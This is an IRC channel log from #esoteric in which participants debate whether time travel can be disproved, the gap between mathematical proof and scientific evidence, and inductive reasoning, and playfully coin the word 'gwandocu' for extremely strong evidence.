#esoteric :the connection to mathematics seems a little weak < 1267659893 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: that wouldn't be auto- would it. < 1267660006 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :On the other side of the coin is http://www.flounder.com/bricks.htm < 1267660045 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :i.e. Programming has a useless brother called CS < 1267660177 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :that was funny about the comma inside the quote < 1267660378 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Whoever wrote that — ok so I haven't read it yet — has probably used quicksort. Or O(n) notations to decide on an algorithm. < 1267660380 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or... I could go on. < 1267660418 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :his point is not that CS is useless < 1267660418 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: OK, so the analogy isn't quite right. < 1267660433 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :his point is that CS education does not train programmers < 1267660434 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: Yeah, seems not. < 1267660439 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Programming as a profession has a useless brother called CS Education. < 1267660440 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or CS, in most cases. < 1267660485 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Naw, programming is to CS as civil engineering is to physics ... the fact that civil engineers need to take physics classes doesn't mean that they're dealing directly in theoretical physics every day. < 1267660519 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :good analogy < 1267660534 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :this is all great but none of it helps me :| < 1267660551 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :What did you want to be helped with? :P < 1267660561 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I don't even know :( < 1267660579 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :time travel is out of the question < 1267660580 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy needs metahelp < 1267660602 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1267660604 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Quicksort is a fun sorting algorithm. < 1267660627 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: If you're confident that you can develop the technology to travel backwards in time within your lifetime, then time travel is not out of the question. Just develop it, then send it back to your younger self, and you'll still have your entire life to do whatever else you wanted to do. < 1267660631 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I love sorting algorithms that perform at their worst when their input is already sorted. < 1267660672 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, but I don't beleive in time travel < 1267660682 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :So short-sighted :P < 1267660683 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I mean, maybe it's possible to send me back in time < 1267660696 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I imagine almost nobody believes in time travel. < 1267660710 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :but it would just be duplicating me, and destroying the original < 1267660717 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I wouldn't actually be going through time, I'd just think I was < 1267660720 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Not necessarily. < 1267660728 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That's an irrelevant distinction. < 1267660740 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I mean, what makes you think that when you walk around, you're not just duplicating yourself and destroying the original? < 1267660742 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Gregor irrelevant to whom? < 1267660762 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Whatever it is that makes you think that, it should also make you open to the idea that time travel wouldn't do that. < 1267660763 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Irrelevant in every sense, you're existing a distinction with no physical consequences. < 1267660769 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Erm < 1267660775 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :You're creating a distinction with no physical consequences. < 1267660800 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :this basically disproved time travel < 1267660816 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[23:58] MissPiggy: but it would just be duplicating me, and destroying the original < 1267660816 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :all the cells in your body are replaced etc < 1267660817 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :alternatively < 1267660818 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :samething < 1267660830 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, no it did not disprove time travel, physics did < 1267660850 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :anyway < 1267660873 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The duplicating-and-destroying argument has absolutely nothing to do with disproving something that appears to be time travel. < 1267660885 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Our current understanding of physics does not predict the physical possibility of time travel ... that is not the same as disproving it. < 1267660933 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267661016 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The way to disprove time travel is to conclusively show that a) our knowledge of physics precludes all forms of time travel b) our knowledge of physics is entirely perfect. < 1267661040 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The "b" part is the nonsense part :) < 1267661047 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, part b) is the easy part. < 1267661059 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... No. < 1267661062 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Derive all our knowledge of chemistry from our knowledge of physics. < 1267661067 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Part b is impossible. < 1267661070 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Boom! You've proved our knowledge of physics correct. < 1267661082 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Part b) is about as impossible as proving that Barack Obama is the president of the United States. < 1267661083 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not /all/ of it. < 1267661084 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: No, you've proved our knowledge of physics consistent with our knowledge of chemistry. < 1267661091 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Or that our knowledge of chemistry is flawed < 1267661123 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You need to demonstrate that our knowledge of physics is consistent with the universe. < 1267661162 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Suppose we have a small set of rules that predicts a huge set of results. < 1267661163 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :In its entirety. < 1267661174 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Which means you need to enumerate all infinity physical possibilities and bring them to pass. You need to destroy the universe by every means that the universe can be destroyed, and oh wait hm that last one was a problem. < 1267661180 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Then it can predict those results. < 1267661185 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1267661204 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And we will be happy to use them to predict others. However, we have not proven those other results. < 1267661211 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :We merely assume them. < 1267661212 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Um, let my try again. < 1267661339 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Suppose that we have a complete theory of physics, and a huge body of data about chemistry. The body of data about chemistry is much, much larger than the theory of physics. And the complete theory of physics completely predicts that huge body of data. As long as you can be confident that no other complete theory of physics also predicts this body of data, you can be confident that the theory of physics is correct. < 1267661356 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :ut the data hand't been correleated in all possible ways yet < 1267661363 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :and eternity passed.. < 1267661370 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Why would we want to do this? < 1267661381 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :We don't care about absolute proof. < 1267661384 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :And it came to pass that AC learned how to reverse the direction of entropy. < 1267661388 0 :FireyFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1267661394 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :We care about very, very strong proof. < 1267661400 0 :FireyFly!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267661410 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's not a proof. < 1267661432 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You have either proven something or disproven something. There are no degrees. < 1267661433 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :We care about very, very strong evidence. < 1267661441 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: chemistry involves mainly things composed of protons, neutrons and electrons. these are composed of less than a third of the elementary particles already known to physics (electron, up and down quark) < 1267661445 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yes, we care about very, very strong evidence. < 1267661456 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And it is certainly possible to have very strong evidence that something cannot happen. < 1267661464 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :This is entirely different from "proving it cannot happen". < 1267661470 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Never mind that the physics required to explain chemical reactions bears little resemblance to the physics required to explain orbits of planets. < 1267661487 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so chemistry only tests a small part of the fundamental theory < 1267661496 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I, personally, feel that we have little enough evidence against time travel that even a colloquial use of the term "disprove" is wildly overzealous. < 1267661522 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :we do not have any evidence against time travel generally < 1267661526 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :She uses the word “algebra” broadly, defining it as a “method of solving problems by honest confession of one’s ignorance”. < 1267661530 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Indeed. < 1267661532 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I might argue that chemical properties are an extremely sensitive function of physical constants. < 1267661535 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :But maybe they're not. < 1267661539 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :however we lack any good theory of time travel that current models would allow < 1267661540 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :We actually just plain don't know enough to rule it out. < 1267661558 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :coppro: We also lack comprehensive models. < 1267661564 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I sort of wonder what a "proof" is if it's not just very, very strong evidence. < 1267661568 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: it would be like claiming you knew everything about C++ from just knowing the subset in common with C < 1267661569 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :of course we do < 1267661583 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :if we had a comprehensive model, physics would be boring < 1267661587 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: Where are you getting this from? Sounds like lit-crit mumbo-jumbo < 1267661610 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: yes, I understand what you're saying. One of my conditions was "as long as you can be confident that no other complete theory of physics also predicts this body of data". < 1267661614 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: See mathematical proofs. < 1267661632 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, it's about the book philosophy and fun of algebra < 1267661638 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I am confident that no other program computes THIS algorithm! < 1267661642 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And when I say "no other complete theory of physics", I mean "no other complete theory of physics that's nearly as simple". < 1267661656 0 :alise!unknown@unknown.invalid QUIT :Quit: alise < 1267661657 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And by "other", I mean "different", as in "predicting different things". < 1267661661 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: "Proof" is meaningful only when something can be comprehensively reduced to something else. That is, proof is contextual. It may be possible to prove that our understanding of chemistry is consistent with our understanding of physics, but this proof gives us little, as its utility is dependent on the proof of physics, which we have nothing to reduce to. < 1267661671 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: so are "proof" and "mathematical proof" the same thing? < 1267661681 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :If he's not back in $soon, I'll worry. < 1267661691 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :No, but Hume a few bars and I'll fake it! < 1267661696 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric : /rimshot < 1267661702 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Colloquially, "proof" just means "very strong evidence" of course, but we're talking about theoretical physics, this is not a colloquial conversation. < 1267661735 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: In any sane formal context, yes. < 1267661771 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Prove that the sun will come up tomorrow. < 1267661775 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And as we all know, you can't actually prove anything about reality with math. Just something about a nice formal system. < 1267661784 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Alternately, make yourself sick worrying that it won't. < 1267661790 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: easy. < 1267661795 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: I sincerely hope it won't, the physical ramifications of the sun moving in such a fashion are horrifying. < 1267661804 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :no physical theory is proven < 1267661822 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: it has come up every day for the past 1,000,000,000,000 days. We have no good reason to expect that it won't come up tomorrow. Therefore, it will come up tomorrow. < 1267661824 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Now, if you mean that the Earth will rotate such that from my perspective the sun's position on the horizon rises, that's a different request. < 1267661832 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what about elecrtroonics < 1267661832 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Failure. < 1267661847 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: I argue that it does, in fact, rise < 1267661849 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: You've been around for a trillion days? Impressive. < 1267661853 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :uorygl that is such a fail argument < 1267661867 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(I'm merely poking the most obvious of holes in that argument :P ) < 1267661869 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :and the other planets rotate the sun as it rotates Earth < 1267661869 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: A lack of a proof against is not a proof for. < 1267661871 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :induction just doesn't work that way < 1267661880 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, every bird I've ever seen has been black. Therefore, all birds are black. < 1267661885 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What do you mean, induction doesn't work that way? That's precisely how induction works. < 1267661886 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :coppro: There is no global definition of "up" < 1267661892 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :you build an explanation of something which doesn't have variables < 1267661892 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: No it's not. < 1267661895 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: you've seen 1,000,000,000,000 birds? < 1267661900 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :if it fits wear is < 1267661900 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: how do you think it works, then? < 1267661902 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :coppro: Erm, "global" is a bad term to use ... < 1267661902 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it* < 1267661903 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: nothing is defined globally < 1267661907 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: You've seen 1,000,000,000,000 sunrises? < 1267661915 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :one of the great things of physics < 1267661924 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Even better: birds have two wings. Therefore, if a bird loses a wing, it's no longer a bird. < 1267661954 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what *is* a bird ? < 1267661958 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, it;'s not the bird it used to be, anyway. < 1267661959 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :How much of a sapiens' brain do I have to scoop out before it's no longer a sapiens? :) < 1267661967 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Okay, here's a better argument. < 1267661973 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=wfvEgWINUFc <-- tries to answer that question < 1267661987 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :nah, the old one is fine < 1267661994 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: I think it works by showing that some statement x in an infinite sequence is true, and that *if any statement in that infinite sequence is true*, then so is the next one. < 1267661994 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The Sun has come up every day for the past 1,000,000 days. We have no good reason to expect it won't come up tomorrow. Therefore, it will come up tomorrow. < 1267662006 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: that's an entirely different type of induction. < 1267662011 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :uorygl stop :((((( < 1267662016 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it's a perfectly valid physical theory < 1267662018 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, these kind of arguments make me die inside < 1267662019 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh, you mean inductive reasoning. < 1267662020 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: You are providing a very compelling /argument/ that the sun will come up. You are NOT proving that it will. < 1267662020 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Mathematical induction and inductive logic are not the same thing. < 1267662028 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Which is proves nothing. < 1267662030 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :and calling it "induction" is just as bad < 1267662034 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :no theory proves anything < 1267662042 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: well, please stop dying so much. < 1267662048 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Inductive reasoning produces a scientific theory. < 1267662052 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: sure, define "proof" that way. I don't like that definition. < 1267662054 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the theory is consistent with observations and makes a prediction < 1267662057 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It is not a proof by induction. < 1267662057 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, it should be called the principle of probable monotony < 1267662063 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :therefore is valid < 1267662063 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :heuristic principle of probable monotony < 1267662065 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: then call it that. < 1267662066 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :*** < 1267662075 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: general relativity allows you to treat any object as stationary, including the earth. see also http://xkcd.com/123/ < 1267662089 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*any one < 1267662110 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, I have a distaste for the heuristic principle of probable monotony because it is a very flawed to conflate this argument with an explanation -- which leads to much deliberation an quibbling on trivial matters < 1267662133 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :truly it is just a suggestion that one might look for a deeper explanation < 1267662152 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: xkcd #123 doesn't actually use general relativity < 1267662154 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it should not be confused with extrapolation either < 1267662156 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, I think it's best to define proof as very, very strong evidence. There's really no practical difference between very, very strong evidence and absolute proof. < 1267662163 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :which is only valid when the frame of reference is not accelerating < 1267662176 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :coppro: no, that's _special_ relativity < 1267662198 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: the fact that you have a distaste for it and it leads to much quibbling over trivial matters has no bearing whatsoever on whether it forms a strong argument or not. < 1267662206 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :general relativity is all about acceleration (and its equivalent, gravity) < 1267662216 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oh wait, you're right < 1267662218 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :never mind me < 1267662218 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :uorygl I thuoght it did < 1267662230 0 :alise_!~alise@212.183.140.49 JOIN :#esoteric < 1267662233 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: "Strong argument" has a completely different notion in math and in science. < 1267662247 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :A "strong argument" in math is a proof. < 1267662263 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :A "strong argument" in science is noting that every single time you do something, the same thing happens. < 1267662268 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: well, it doesn't. < 1267662284 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :ufhG! < 1267662290 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I must defeat this argument < 1267662357 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: In conclusion: do not invoke the word "proof" unless you are discussing formal reasoning. It is wrong. < 1267662375 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Or hard liquor. < 1267662378 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it has been shown many times that an even which seems periodic or caused by some effect must not be assumed so simply on the evidence of data but if we can build a simple theory to explain this data < 1267662387 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: so what word am I supposed to use for very, very strong evidence that's practically identical to a proof? < 1267662390 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :an event* < 1267662398 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Evidence. < 1267662414 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Evidence" and "very, very strong evidence that's practically identical to a proof" are not synonyms. < 1267662439 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Since there is evidence that you are guilty, I hereby sentence you to life in prison." Doesn't sound right. < 1267662460 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION invents the word "Gwandocu" for uorygl's use.
< 1267662464 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Thank you. < 1267662479 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :yes! < 1267662497 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The reasoning is "Since there is evidence beyond a reasonable doubt that you are guilty", BTW. < 1267662516 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, if we had a complete theory of physics, it wouldn't necessarily be difficult to come up with gwandocu that it's correct. < 1267662538 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"Complete theory"... Could you define that term? < 1267662560 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(I presume you mean "theory that explains all observations", but just wish to confirm) < 1267662569 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A complete theory is a full mathematical description of everything that happens. < 1267662570 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But you could always find people who would not be persuaded, no matter how geemorgul the gwandocu. < 1267662573 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So yeah, that. < 1267662592 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: indeed; we call those people irrational, and we try to make them rational so that they believe. < 1267662595 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Okay, then. I agree with that statement. < 1267662606 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And note that scientific discussion needs the word "gwandocu". < 1267662611 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :O jeh, o naw, o naw, o naw, o naw. < 1267662649 0 :pikhq!unknown@unknown.invalid TOPIC #esoteric :"Gwandocu (n): Extremely strong evidence, far beyond a reasonable doubt." | alise sighting counter currently out of order | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1267662828 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :clearly an ancient welsh concept < 1267662853 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Has too many vowels. < 1267662868 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Would need to be "Gwndycu". < 1267662895 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You managed to not turn the easiest-to-turn-into-a-consonant vowel into a consonant. < 1267662926 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So I was being consistent with Welsh phonology. < 1267662939 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267663008 0 :augur!~augur@c-68-54-80-152.hsd1.md.comcast.net JOIN :#esoteric < 1267663016 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :If I had more time, I might ask if anyone thinks it's possible to get a complete mathematical description of everything that happens without being omniscient. < 1267663038 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I think it's probably possible. < 1267663053 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I have no idea what's happening in the Zeta Reticuli system right now. < 1267663070 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I have some idea of what's happening in the Zeta Reticuli system right now. < 1267663076 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :First-hand? < 1267663083 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1267663083 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Can I borrow your saucer? < 1267663086 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Drat. < 1267663096 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :So, you have a guess as to what's happening there, then. < 1267663104 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but it's a very good guess. < 1267663112 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, that's hard to know. < 1267663121 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Without a saucer and all. < 1267663173 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh man ive got some many awesome ideas for my game :D :D :D < 1267663180 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I wonder if there's any way of verifying that at least some of our laws of physics apply to Zeta Reticuli. < 1267663196 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: ofcourse there are. < 1267663223 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I guess we can look at the spectra emitted by the stars and see that they look like black body emission spectra. < 1267663240 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And... we really have a lot of data on them. < 1267663240 0 :alise!~alise@212.183.140.49 JOIN :#esoteric < 1267663255 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :we look at Z Reticuli and can observe that the star's size matches what we'd expect from its mass, that this correlates from the expected composition which we can find from its spectra < 1267663264 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: i think if something like wolfram's theory that the universe is generated by a small program is true, then we might eventually find it (or an equivalent program), although we would never be able to prove that it was completely accurate < 1267663289 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :we can find that it's shape/oblation fits its rotational period < 1267663314 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :because we could never be sure that we have measured every phenomenon to perfect precision < 1267663315 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :we can see that it has the same gravitational effects on surrounding stars as its mass would dictate, and that it is affected by the background gravity accordingly < 1267663317 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :etc etc < 1267663418 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Of course, we might be able to find gwandocu that it's completely accurate! < 1267663431 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :gwandocu? < 1267663434 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: I'll bet it's "Hello, world!" < 